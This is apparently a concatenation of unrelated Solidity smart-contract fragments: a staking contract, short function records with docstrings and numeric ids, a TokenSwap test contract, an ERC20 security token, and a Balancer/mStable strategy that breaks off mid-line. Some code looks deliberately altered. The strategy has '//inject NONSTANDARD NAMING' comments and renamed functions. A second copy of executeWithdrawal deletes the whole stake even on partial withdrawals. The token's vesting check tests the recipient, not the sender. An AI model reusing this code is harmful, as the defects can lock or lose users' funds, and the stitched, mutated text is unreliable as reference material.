uint256 public maxStakingAmount; uint256 public minStakingAmount; uint256 public currentTotalStake; uint256 public unstakingPeriod; uint256 public dayLength; //reward calculations uint256 private totalRewardPoints; uint256 public rewardsDistributed; uint256 public rewardsWithdrawn; uint256 public totalRewardsDistributed; mapping(address => StakeDeposit) private _stakeDeposits; mapping(address => WithdrawalState) private _withdrawStates; // MODIFIERS modifier guardMaxStakingLimit(uint256 amount) { uint256 resultedStakedAmount = currentTotalStake.add(amount); require( resultedStakedAmount <= maxStakingAmount, "[Deposit] Your deposit would exceed the current staking limit" ); _; } modifier onlyContract(address account) { require(account.isContract(), "[Validation] The address does not contain a contract"); _; } // PUBLIC FUNCTIONS function initialize( address _token, address _rewardsAddress, uint256 _maxStakingAmount, uint256 _unstakingPeriod ) public onlyContract(_token) { __SwapStakingContract_init(_token, _rewardsAddress, _maxStakingAmount, _unstakingPeriod); dayLength = 1 days; } function __SwapStakingContract_init( address _token, address _rewardsAddress, uint256 _maxStakingAmount, uint256 _unstakingPeriod ) internal initializer { require(_token != address(0), "[Validation] Invalid swap token address"); require(_maxStakingAmount > 0, "[Validation] _maxStakingAmount has to be larger than 0"); __Context_init_unchained(); __AccessControl_init_unchained(); __Pausable_init_unchained(); __ReentrancyGuard_init_unchained(); __SwapStakingContract_init_unchained(); pause(); setRewardAddress(_rewardsAddress); unpause(); token = IERC20(_token); maxStakingAmount = _maxStakingAmount; unstakingPeriod = _unstakingPeriod; } function __SwapStakingContract_init_unchained() internal initializer { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); _setupRole(OWNER_ROLE, _msgSender()); _setupRole(REWARDS_DISTRIBUTOR_ROLE, _msgSender()); } function pause() public { require(hasRole(PAUSER_ROLE, _msgSender()), "SwapStakingContract: must have pauser role to pause"); _pause(); } function unpause() public { require(hasRole(PAUSER_ROLE, _msgSender()), "SwapStakingContract: must have pauser role to unpause"); _unpause(); } function setRewardAddress(address _rewardsAddress) public whenPaused { require( hasRole(OWNER_ROLE, _msgSender()), "[Validation] The caller must have owner role to set rewards address" ); require(_rewardsAddress != address(0), "[Validation] _rewardsAddress is the zero address"); require(_rewardsAddress != rewardsAddress, "[Validation] _rewardsAddress is already set to given address"); rewardsAddress = _rewardsAddress; } function setTokenAddress(address _token) external onlyContract(_token) whenPaused { require(hasRole(OWNER_ROLE, _msgSender()), "[Validation] The caller must have owner role to set token address"); require(_token != address(0), "[Validation] Invalid swap token address"); token = IERC20(_token); } function deposit(uint256 amount) external nonReentrant whenNotPaused { StakeDeposit storage stakeDeposit = _stakeDeposits[msg.sender]; require(stakeDeposit.endDate == 0, "[Deposit] You have already initiated the withdrawal"); uint256 oldPrincipal = stakeDeposit.amount; uint256 reward = _computeReward(stakeDeposit); uint256 newPrincipal = oldPrincipal.add(amount).add(reward); require(newPrincipal > oldPrincipal, "[Validation] The stake deposit has to be larger than 0"); uint256 resultedStakedAmount = currentTotalStake.add(newPrincipal.sub(oldPrincipal)); require( resultedStakedAmount <= maxStakingAmount, "[Deposit] Your deposit would exceed the current staking limit" ); require( resultedStakedAmount > minStakingAmount, "[Deposit] Your deposit would less the current staking limit" ); stakeDeposit.amount = newPrincipal; stakeDeposit.startDate = block.timestamp; stakeDeposit.exists = true; stakeDeposit.entryRewardPoints = totalRewardPoints; currentTotalStake = resultedStakedAmount; // Transfer the Tokens to this contract require( token.transferFrom(msg.sender, address(this), amount), "[Deposit] Something went wrong during the token transfer" ); if (reward > 0) { //calculate withdrawed rewards in single distribution cycle rewardsWithdrawn = rewardsWithdrawn.add(reward); require( token.transferFrom(rewardsAddress, address(this), reward), "[Deposit] Something went wrong while transferring reward" ); } emit StakeDeposited(msg.sender, amount.add(reward)); } function initiateWithdrawal(uint256 withdrawAmount) external nonReentrant whenNotPaused { StakeDeposit storage stakeDeposit = _stakeDeposits[msg.sender]; WithdrawalState storage withdrawState = _withdrawStates[msg.sender]; require(withdrawAmount > 0, "[Initiate Withdrawal] Invalid withdrawal amount"); require(withdrawAmount <= stakeDeposit.amount, "[Initiate Withdrawal] Withdraw amount exceed the stake amount"); require( stakeDeposit.exists && stakeDeposit.amount != 0, "[Initiate Withdrawal] There is no stake deposit for this account" ); require(stakeDeposit.endDate == 0, "[Initiate Withdrawal] You have already initiated the withdrawal"); require(withdrawState.amount == 0, "[Initiate Withdrawal] You have already initiated the withdrawal"); stakeDeposit.endDate = block.timestamp; stakeDeposit.exitRewardPoints = totalRewardPoints; withdrawState.amount = withdrawAmount; withdrawState.initiateDate = block.timestamp; currentTotalStake = currentTotalStake.sub(withdrawAmount); emit WithdrawInitiated(msg.sender, withdrawAmount, block.timestamp); } function executeWithdrawal() external virtual nonReentrant whenNotPaused { StakeDeposit memory stakeDeposit = _stakeDeposits[msg.sender]; WithdrawalState memory withdrawState = _withdrawStates[msg.sender]; require( stakeDeposit.endDate != 0 || withdrawState.amount != 0, "[Withdraw] Withdraw amount is not initialized" ); require( stakeDeposit.exists && stakeDeposit.amount != 0, "[Withdraw] There is no stake deposit for this account" ); // validate enough days have passed from initiating the withdrawal uint256 daysPassed = (block.timestamp - stakeDeposit.endDate) / dayLength; require(unstakingPeriod <= daysPassed, "[Withdraw] The unstaking period did not pass"); //TODO Need for test uint256 amount = withdrawState.amount != 0 ? withdrawState.amount : stakeDeposit.amount; uint256 reward = _computeReward(stakeDeposit); require( stakeDeposit.amount >= amount, "[withdraw] Remaining stakedeposit amount must be higher than withdraw amount" ); if (stakeDeposit.amount > amount) { _stakeDeposits[msg.sender].amount = _stakeDeposits[msg.sender].amount.sub(amount); _stakeDeposits[msg.sender].endDate = 0; _stakeDeposits[msg.sender].entryRewardPoints = totalRewardPoints; } else { delete _stakeDeposits[msg.sender]; } require( token.transfer(msg.sender, amount), "[Withdraw] Something went wrong while transferring your initial deposit" ); if (reward > 0) { //calculate withdrawed rewards in single distribution cycle rewardsWithdrawn = rewardsWithdrawn.add(reward); require( token.transferFrom(rewardsAddress, msg.sender, reward), "[Withdraw] Something went wrong while transferring your reward" ); } _withdrawStates[msg.sender].amount = 0; _withdrawStates[msg.sender].initiateDate = 0; emit WithdrawExecuted(msg.sender, amount, reward); } function withdrawRewards() external nonReentrant whenNotPaused { StakeDeposit storage stakeDeposit = _stakeDeposits[msg.sender]; require( stakeDeposit.exists && stakeDeposit.amount != 0, "[Rewards Withdrawal] There is no stake deposit for this account" ); require(stakeDeposit.endDate == 0, "[Rewards Withdrawal] You already initiated the full withdrawal"); uint256 reward = _computeReward(stakeDeposit); require(reward > 0, "[Rewards Withdrawal] The reward amount has to be larger than 0"); stakeDeposit.entryRewardPoints = totalRewardPoints; //calculate withdrawed rewards in single distribution cycle rewardsWithdrawn = rewardsWithdrawn.add(reward); require( token.transferFrom(rewardsAddress, msg.sender, reward), "[Rewards Withdrawal] Something went wrong while transferring your reward" ); emit RewardsWithdrawn(msg.sender, reward); } /////////////////////////////////////////////////////////////////// /////// AdminFunctions //// function setMinStakingAmount(uint256 _minAmount) external { require( hasRole(OWNER_ROLE, msg.sender), "[Validation] The caller must have owner role to set minStakingAmount" ); minStakingAmount = _minAmount; } /////////////////////////////////////////////////////////////////// // VIEW FUNCTIONS FOR HELPING THE USER AND CLIENT INTERFACE function getCurrentStake(address account) external view whenNotPaused returns (uint256) { if (_stakeDeposits[account].amount == 0 || _stakeDeposits[account].amount <= _withdrawStates[account].amount) { return (0); } else { return (_stakeDeposits[account].amount.sub(_withdrawStates[account].amount)); } } function getCurrentTotalStake() external view whenNotPaused returns (uint256) { return (currentTotalStake); } function getStakeDetails(address account) external view returns ( uint256 initialDeposit, uint256 startDate, uint256 endDate, uint256 rewards ) { require( _stakeDeposits[account].exists && _stakeDeposits[account].amount != 0, "[Validation] This account doesn't have a stake deposit" ); StakeDeposit memory s = _stakeDeposits[account]; return (s.amount, s.startDate, s.endDate, _computeReward(s)); } function getInitiatedWithdrawal(address account) external view returns (uint256, uint256) { return (_withdrawStates[account].amount, _withdrawStates[account].initiateDate + unstakingPeriod * dayLength); } function _computeReward(StakeDeposit memory stakeDeposit) internal view returns (uint256) { uint256 rewardsPoints = 0; if (stakeDeposit.endDate == 0) { rewardsPoints = totalRewardPoints.sub(stakeDeposit.entryRewardPoints); } else { //withdrawal is initiated rewardsPoints = stakeDeposit.exitRewardPoints.sub(stakeDeposit.entryRewardPoints); } return stakeDeposit.amount.mul(rewardsPoints).div(10**18); } function distributeRewards() external nonReentrant whenNotPaused { require( hasRole(REWARDS_DISTRIBUTOR_ROLE, _msgSender()), "[Validation] The caller must have rewards distributor role" ); _distributeRewards(); } function _distributeRewards() internal whenNotPaused { require( hasRole(REWARDS_DISTRIBUTOR_ROLE, _msgSender()), "[Validation] The caller must have rewards distributor role" ); require(currentTotalStake > 0, "[Validation] not enough total stake accumulated"); uint256 rewardPoolBalance = token.balanceOf(rewardsAddress); require(rewardPoolBalance > 0, "[Validation] not enough rewards accumulated"); uint256 newlyAdded = rewardPoolBalance.add(rewardsWithdrawn).sub(rewardsDistributed); uint256 ratio = newlyAdded.mul(10**18).div(currentTotalStake); totalRewardPoints = totalRewardPoints.add(ratio); rewardsDistributed = rewardPoolBalance; rewardsWithdrawn = 0; totalRewardsDistributed = totalRewardsDistributed.add(newlyAdded); emit RewardsDistributed(newlyAdded); } function version() public pure returns (string memory) { return "v2"; } } // File: StakeWrapper.sol contract SwapStakingContractWrapper is SwapStakingContract { bytes32 private constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 private constant OWNER_ROLE = keccak256("OWNER_ROLE"); bytes32 private constant REWARDS_DISTRIBUTOR_ROLE = keccak256("REWARDS_DISTRIBUTOR_ROLE"); constructor( address _token, address _rewardsAddress, uint256 _maxStakingAmount, uint256 _unstakingPeriod ) public { initialize(_token, _rewardsAddress, _maxStakingAmount, _unstakingPeriod); } }
validate enough days have passed from initiating the withdrawalTODO Need for testcalculate withdrawed rewards in single distribution cycle
function executeWithdrawal() external virtual nonReentrant whenNotPaused { StakeDeposit memory stakeDeposit = _stakeDeposits[msg.sender]; WithdrawalState memory withdrawState = _withdrawStates[msg.sender]; require( stakeDeposit.endDate != 0 || withdrawState.amount != 0, "[Withdraw] Withdraw amount is not initialized" ); require( stakeDeposit.exists && stakeDeposit.amount != 0, "[Withdraw] There is no stake deposit for this account" ); uint256 daysPassed = (block.timestamp - stakeDeposit.endDate) / dayLength; require(unstakingPeriod <= daysPassed, "[Withdraw] The unstaking period did not pass"); uint256 amount = withdrawState.amount != 0 ? withdrawState.amount : stakeDeposit.amount; uint256 reward = _computeReward(stakeDeposit); require( stakeDeposit.amount >= amount, "[withdraw] Remaining stakedeposit amount must be higher than withdraw amount" ); if (stakeDeposit.amount > amount) { _stakeDeposits[msg.sender].amount = _stakeDeposits[msg.sender].amount.sub(amount); _stakeDeposits[msg.sender].endDate = 0; _stakeDeposits[msg.sender].entryRewardPoints = totalRewardPoints; delete _stakeDeposits[msg.sender]; } require( token.transfer(msg.sender, amount), "[Withdraw] Something went wrong while transferring your initial deposit" ); if (reward > 0) { rewardsWithdrawn = rewardsWithdrawn.add(reward); require( token.transferFrom(rewardsAddress, msg.sender, reward), "[Withdraw] Something went wrong while transferring your reward" ); } _withdrawStates[msg.sender].amount = 0; _withdrawStates[msg.sender].initiateDate = 0; emit WithdrawExecuted(msg.sender, amount, reward); }
2,462,027
./full_match/1/0x879Cf19800308eC7ccc673B68cFeaF3c6c08CCc2/sources/contracts/Database.sol
Returns amount of audits completed at each level for `auditorAdderss_` auditorAddress_ Address of auditor return levelsCompleted_ Array of levels of audits completed for `auditorAddress_`
function levelsCompleted(address auditorAddress_) external view returns (uint256[4] memory levelsCompleted_) { return (_levelsCompleted[auditorAddress_]); }
9,799,971
pragma solidity ^0.5.0; import '../TokenSwap.sol'; /** * A TokenSwap with additional functionality added for tests. * * Note: This should be an independent contract, as it has pure functions only, * but for the legacy reasons it is subcontract of TokenSwap. */ contract TestTokenSwap is TokenSwap { /** * A test method exposed to be called from clients to compare that ABI packing and hashing * is same across different programming languages. * * Does ABI encoding for an address and then calculates KECCAK-256 hash over the bytes. * * https://web3js.readthedocs.io/en/v1.2.0/web3-utils.html#soliditysha3 * */ function calculateAddressHash(address a) public pure returns (bytes32 hash, bytes memory data) { // First we ABI encode the address to bytes. // This is so called "tight packing" // https://web3js.readthedocs.io/en/v1.2.0/web3-utils.html#soliditysha3 bytes memory packed = abi.encodePacked(a); // Then we calculate keccak256 over the resulting bytes bytes32 hashResult = keccak256(packed); return(hashResult, packed); } /** * Expose ecrecover, so we can call it from console/tests and compare results. */ function recoverAddress(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public pure returns(address) { return ecrecover(hash, v, r, s); } }
Expose ecrecover, so we can call it from console/tests and compare results./
function recoverAddress(bytes32 hash, uint8 v, bytes32 r, bytes32 s) public pure returns(address) { return ecrecover(hash, v, r, s); }
983,782
pragma solidity ^0.4.23; /** * SafeMath <https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol/> * Copyright (c) 2016 Smart Contract Solutions, Inc. * Released under the MIT License (MIT) */ /// @title Math operations with safety checks library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner t o transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /// ERC Token Standard #20 Interface (https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md) interface IERC20 { function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function totalSupply() external view returns (uint256); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface ISecurityToken { /** * @dev Add a verified address to the Security Token whitelist * @param _whitelistAddress Address attempting to join ST whitelist * @return bool success */ function addToWhitelist(address _whitelistAddress) public returns (bool success); /** * @dev Add verified addresses to the Security Token whitelist * @param _whitelistAddresses Array of addresses attempting to join ST whitelist * @return bool success */ function addToWhitelistMulti(address[] _whitelistAddresses) external returns (bool success); /** * @dev Removes a previosly verified address to the Security Token blacklist * @param _blacklistAddress Address being added to the blacklist * @return bool success */ function addToBlacklist(address _blacklistAddress) public returns (bool success); /** * @dev Removes previously verified addresseses to the Security Token whitelist * @param _blacklistAddresses Array of addresses attempting to join ST whitelist * @return bool success */ function addToBlacklistMulti(address[] _blacklistAddresses) external returns (bool success); /// Get token decimals function decimals() view external returns (uint); // @notice it will return status of white listing // @return true if user is white listed and false if is not function isWhiteListed(address _user) external view returns (bool); } // The Exchange token contract SecurityToken is IERC20, Ownable, ISecurityToken { using SafeMath for uint; // Public variables of the token string public name; string public symbol; uint public decimals; // How many decimals to show. string public version; uint public totalSupply; uint public tokenPrice; bool public exchangeEnabled; bool public codeExportEnabled; address public commissionAddress; // address to deposit commissions uint public deploymentCost; // cost of deployment with exchange feature uint public tokenOnlyDeploymentCost; // cost of deployment with basic ERC20 feature uint public exchangeEnableCost; // cost of upgrading existing ERC20 to exchange feature uint public codeExportCost; // cost of exporting the code string public securityISIN; // Security token shareholders struct Shareholder { // Structure that contains the data of the shareholders bool allowed; // allowed - whether the shareholder is allowed to transfer or recieve the security token uint receivedAmt; uint releasedAmt; uint vestingDuration; uint vestingCliff; uint vestingStart; } mapping(address => uint) public balances; mapping(address => mapping(address => uint)) public allowed; mapping(address => Shareholder) public shareholders; // Mapping that holds the data of the shareholder corresponding to investor address modifier onlyWhitelisted(address _to) { require(shareholders[_to].allowed && shareholders[msg.sender].allowed); _; } modifier onlyVested(address _from) { require(availableAmount(_from) > 0); _; } // The Token constructor constructor ( uint _initialSupply, string _tokenName, string _tokenSymbol, uint _decimalUnits, string _version, uint _tokenPrice, string _securityISIN ) public payable { totalSupply = _initialSupply * (10**_decimalUnits); name = _tokenName; // Set the name for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes version = _version; // Version of token tokenPrice = _tokenPrice; // Token price in Wei securityISIN = _securityISIN;// ISIN security registration number balances[owner] = totalSupply; deploymentCost = 25e17; tokenOnlyDeploymentCost = 15e17; exchangeEnableCost = 15e17; codeExportCost = 1e19; codeExportEnabled = true; exchangeEnabled = true; commissionAddress = 0x80eFc17CcDC8fE6A625cc4eD1fdaf71fD81A2C99; commissionAddress.transfer(msg.value); addToWhitelist(owner); } event LogTransferSold(address indexed to, uint value); event LogTokenExchangeEnabled(address indexed caller, uint exchangeCost); event LogTokenExportEnabled(address indexed caller, uint enableCost); event LogNewWhitelistedAddress( address indexed shareholder); event LogNewBlacklistedAddress(address indexed shareholder); event logVestingAllocation(address indexed shareholder, uint amount, uint duration, uint cliff, uint start); event logISIN(string isin); function updateISIN(string _securityISIN) external onlyOwner() { bytes memory tempISIN = bytes(_securityISIN); require(tempISIN.length > 0); // ensure that ISIN has been passed securityISIN = _securityISIN;// ISIN security registration number emit logISIN(_securityISIN); } function allocateVestedTokens(address _to, uint _value, uint _duration, uint _cliff, uint _vestingStart ) external onlyWhitelisted(_to) onlyOwner() returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if (shareholders[_to].receivedAmt == 0) { shareholders[_to].vestingDuration = _duration; shareholders[_to].vestingCliff = _cliff; shareholders[_to].vestingStart = _vestingStart; } shareholders[_to].receivedAmt = shareholders[_to].receivedAmt.add(_value); emit Transfer(msg.sender, _to, _value); emit logVestingAllocation(_to, _value, _duration, _cliff, _vestingStart); return true; } function availableAmount(address _from) public view returns (uint256) { if (block.timestamp < shareholders[_from].vestingCliff) { return balanceOf(_from).sub(shareholders[_from].receivedAmt); } else if (block.timestamp >= shareholders[_from].vestingStart.add(shareholders[_from].vestingDuration)) { return balanceOf(_from); } else { uint totalVestedBalance = shareholders[_from].receivedAmt; uint totalAvailableVestedBalance = totalVestedBalance.mul(block.timestamp.sub(shareholders[_from].vestingStart)).div(shareholders[_from].vestingDuration); uint lockedBalance = totalVestedBalance - totalAvailableVestedBalance; return balanceOf(_from).sub(lockedBalance); } } // @noice To be called by owner of the contract to enable exchange functionality // @param _tokenPrice {uint} cost of token in ETH // @return true {bool} if successful function enableExchange(uint _tokenPrice) public payable { require(!exchangeEnabled); require(exchangeEnableCost == msg.value); exchangeEnabled = true; tokenPrice = _tokenPrice; commissionAddress.transfer(msg.value); emit LogTokenExchangeEnabled(msg.sender, _tokenPrice); } // @notice to enable code export functionality function enableCodeExport() public payable { require(!codeExportEnabled); require(codeExportCost == msg.value); codeExportEnabled = true; commissionAddress.transfer(msg.value); emit LogTokenExportEnabled(msg.sender, msg.value); } // @notice It will send tokens to sender based on the token price function swapTokens() public payable onlyWhitelisted(msg.sender) { require(exchangeEnabled); uint tokensToSend; tokensToSend = (msg.value * (10**decimals)) / tokenPrice; require(balances[owner] >= tokensToSend); balances[msg.sender] = balances[msg.sender].add(tokensToSend); balances[owner] = balances[owner].sub(tokensToSend); owner.transfer(msg.value); emit Transfer(owner, msg.sender, tokensToSend); emit LogTransferSold(msg.sender, tokensToSend); } // @notice will be able to mint tokens in the future // @param _target {address} address to which new tokens will be assigned // @parm _mintedAmount {uint256} amouont of tokens to mint function mintToken(address _target, uint256 _mintedAmount) public onlyWhitelisted(_target) onlyOwner() { balances[_target] += _mintedAmount; totalSupply += _mintedAmount; emit Transfer(0, _target, _mintedAmount); } // @notice transfer tokens to given address // @param _to {address} address or recipient // @param _value {uint} amount to transfer // @return {bool} true if successful function transfer(address _to, uint _value) external onlyVested(_to) onlyWhitelisted(_to) returns(bool) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } // @notice transfer tokens from given address to another address // @param _from {address} from whom tokens are transferred // @param _to {address} to whom tokens are transferred // @param _value {uint} amount of tokens to transfer // @return {bool} true if successful function transferFrom(address _from, address _to, uint256 _value) external onlyVested(_to) onlyWhitelisted(_to) returns(bool success) { require(_to != address(0)); require(balances[_from] >= _value); // Check if the sender has enough require(_value <= allowed[_from][msg.sender]); // Check if allowed is greater or equal balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // adjust allowed emit Transfer(_from, _to, _value); return true; } // @notice to query balance of account // @return _owner {address} address of user to query balance function balanceOf(address _owner) public view returns(uint balance) { return balances[_owner]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) external returns(bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // @notice to query of allowance of one user to the other // @param _owner {address} of the owner of the account // @param _spender {address} of the spender of the account // @return remaining {uint} amount of remaining allowance function allowance(address _owner, address _spender) external view returns(uint remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Add a verified address to the Security Token whitelist * The Issuer can add an address to the whitelist by themselves by * creating their own KYC provider and using it to verify the accounts * they want to add to the whitelist. * @param _whitelistAddress Address attempting to join ST whitelist * @return bool success */ function addToWhitelist(address _whitelistAddress) onlyOwner public returns (bool success) { shareholders[_whitelistAddress].allowed = true; emit LogNewWhitelistedAddress(_whitelistAddress); return true; } /** * @dev Add verified addresses to the Security Token whitelist * @param _whitelistAddresses Array of addresses attempting to join ST whitelist * @return bool success */ function addToWhitelistMulti(address[] _whitelistAddresses) onlyOwner external returns (bool success) { for (uint256 i = 0; i < _whitelistAddresses.length; i++) { addToWhitelist(_whitelistAddresses[i]); } return true; } /** * @dev Add a verified address to the Security Token blacklist * @param _blacklistAddress Address being added to the blacklist * @return bool success */ function addToBlacklist(address _blacklistAddress) onlyOwner public returns (bool success) { require(shareholders[_blacklistAddress].allowed); shareholders[_blacklistAddress].allowed = false; emit LogNewBlacklistedAddress(_blacklistAddress); return true; } /** * @dev Removes previously verified addresseses to the Security Token whitelist * @param _blacklistAddresses Array of addresses attempting to join ST whitelist * @return bool success */ function addToBlacklistMulti(address[] _blacklistAddresses) onlyOwner external returns (bool success) { for (uint256 i = 0; i < _blacklistAddresses.length; i++) { addToBlacklist(_blacklistAddresses[i]); } return true; } // @notice it will return status of white listing // @return true if user is white listed and false if is not function isWhiteListed(address _user) external view returns (bool) { return shareholders[_user].allowed; } function totalSupply() external view returns (uint256) { return totalSupply; } function decimals() external view returns (uint) { return decimals; } }
it will return status of white listing return true if user is white listed and false if is not
function isWhiteListed(address _user) external view returns (bool) { return shareholders[_user].allowed; }
6,700,498
pragma solidity ^0.5.16; interface IERC20 { function TOTALSUPPLY344() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF995(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER795(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE796(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE408(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM856(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function DECIMALS615() external view returns (uint); //inject NONSTANDARD NAMING event TRANSFER370(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL858(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library SafeMath { function ADD697(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB109(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB109(a, b, "SafeMath: subtraction overflow"); } function SUB109(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL960(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV581(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV581(a, b, "SafeMath: division by zero"); } function DIV581(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function MOD970(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD970(a, b, "SafeMath: modulo by zero"); } function MOD970(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library Address { function ISCONTRACT908(address account) internal view returns (bool) { //inject NONSTANDARD NAMING bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function TOPAYABLE655(address account) internal pure returns (address payable) { //inject NONSTANDARD NAMING return address(uint160(account)); } function SENDVALUE370(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function SAFETRANSFER212(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN170(token, abi.encodeWithSelector(token.TRANSFER795.selector, to, value)); } function SAFETRANSFERFROM22(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN170(token, abi.encodeWithSelector(token.TRANSFERFROM856.selector, from, to, value)); } function SAFEAPPROVE493(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING require((value == 0) || (token.ALLOWANCE796(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); CALLOPTIONALRETURN170(token, abi.encodeWithSelector(token.APPROVE408.selector, spender, value)); } function CALLOPTIONALRETURN170(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING require(address(token).ISCONTRACT908(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Controller { function VAULTS291(address) external view returns (address); //inject NONSTANDARD NAMING } interface Balancer { function JOINPOOL849(uint,uint[] calldata) external; //inject NONSTANDARD NAMING function EXITPOOL804(uint,uint[] calldata) external; //inject NONSTANDARD NAMING } interface MStable { function MINT666(address, uint) external; //inject NONSTANDARD NAMING function REDEEM500(address, uint) external; //inject NONSTANDARD NAMING } contract StrategyBalancerMTA { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address constant public want295 = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); //inject NONSTANDARD NAMING address constant public musd674 = address(0xe2f2a5C287993345a840Db3B0845fbC70f5935a5); //inject NONSTANDARD NAMING address constant public balancer837 = address(0x72Cd8f4504941Bf8c5a21d1Fd83A96499FD71d2C); //inject 